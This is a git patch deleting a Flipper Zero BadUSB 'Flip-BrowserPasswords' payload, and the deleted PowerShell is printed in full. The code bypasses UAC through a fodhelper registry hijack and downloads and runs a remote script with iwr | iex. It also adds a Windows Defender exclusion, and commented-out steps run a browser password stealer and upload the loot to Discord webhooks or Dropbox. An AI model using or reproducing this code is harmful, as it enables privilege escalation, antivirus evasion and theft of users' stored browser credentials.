From 54458903e02240ec29a5d7451de22c9ec594edea Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sat, 31 Dec 2022 17:25:48 -0600 Subject: [PATCH] Delete Payloads/Flip-BrowserPasswords directory --- .../BrowserPasswords.ps1 | 14 ---- Payloads/Flip-BrowserPasswords/ReadMe.md | 1 - Payloads/Flip-BrowserPasswords/s2.ps1 | 65 ------------------- 3 files changed, 80 deletions(-) delete mode 100644 Payloads/Flip-BrowserPasswords/BrowserPasswords.ps1 delete mode 100644 Payloads/Flip-BrowserPasswords/ReadMe.md delete mode 100644 Payloads/Flip-BrowserPasswords/s2.ps1 diff --git a/Payloads/Flip-BrowserPasswords/BrowserPasswords.ps1 b/Payloads/Flip-BrowserPasswords/BrowserPasswords.ps1 deleted file mode 100644 index c60ffb4..0000000 --- a/Payloads/Flip-BrowserPasswords/BrowserPasswords.ps1 +++ /dev/null @@ -1,14 +0,0 @@ -function s1 { - $user = "$env:COMPUTERNAME\$env:USERNAME" - $isAdmin = (Get-LocalGroupMember 'Administrators').Name -contains $user -if($isAdmin){ - $fuck="powershell.exe -w h iwr https://raw.githubusercontent.com/I-Am-Jakoby/Flipper-Zero-BadUSB/main/Payloads/Flip-BrowserPasswords/s2.ps1 | iex"; - reg add "HKCU\Software\Classes\.fuck\Shell\Open\command" /d $fuck /f;reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".fuck" /f;fodhelper.exe;Start-Sleep -s 3;reg delete "HKCU\Software\Classes\.fuck\" /f;reg delete "HKCU\Software\Classes\ms-settings\" /f; - - } - else{ - Break - } -} - -s1 diff --git a/Payloads/Flip-BrowserPasswords/ReadMe.md b/Payloads/Flip-BrowserPasswords/ReadMe.md deleted file mode 100644 index 47d181f..0000000 --- a/Payloads/Flip-BrowserPasswords/ReadMe.md +++ /dev/null @@ -1 +0,0 @@ -### THIS PAYLOAD IS NOT READY YET, DO NOT USE IT! diff --git a/Payloads/Flip-BrowserPasswords/s2.ps1 b/Payloads/Flip-BrowserPasswords/s2.ps1 deleted file mode 100644 index d83983c..0000000 --- a/Payloads/Flip-BrowserPasswords/s2.ps1 +++ /dev/null @@ -1,65 +0,0 @@ -<# -function DropBox-Upload { - -[CmdletBinding()] -param ( - -[Parameter (Mandatory = $True, ValueFromPipeline = $True)] -[Alias("f")] -[string]$SourceFilePath -) -$outputFile = Split-Path $SourceFilePath -leaf -$TargetFilePath="/$outputFile" -$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' -$authorization = "Bearer " + $db -$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" -$headers.Add("Authorization", $authorization) -$headers.Add("Dropbox-API-Arg", $arg) -$headers.Add("Content-Type", 'application/octet-stream') -Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers -} - -if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\$FileName} - -#------------------------------------------------------------------------------------------------------------------------------------ - -function Upload-Discord { - -[CmdletBinding()] -param ( - [parameter(Position=0,Mandatory=$False)] - [string]$file, - [parameter(Position=1,Mandatory=$False)] - [string]$text -) - -$hookurl = "$dc" - -$Body = @{ - 'username' = $env:username - 'content' = $text -} - -if (-not ([string]::IsNullOrEmpty($text))){ -Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; - -if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} -} - -if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\$FileName} - - -#> -# Add C:/ to exlusions so Windows Defender doesnt flag the exe we will download -Add-MpPreference -ExclusionPath $env:tmp -<# -# Download the exe and save it to temp directory -iwr "" -outfile "$env:tmp\browser.exe" - -# Execute the Browser Stealer -cd $env:tmp;Start-Process -FilePath "$env:tmp\browser.exe" -WindowStyle h -Wait - -# Exfiltrate the loot to discord -Compress-Archive -Path "$env:tmp\results" -DestinationPath $env:tmp\browserdata.zip -Upload-Discord -file "$env:tmp\browserdata.zip" -#>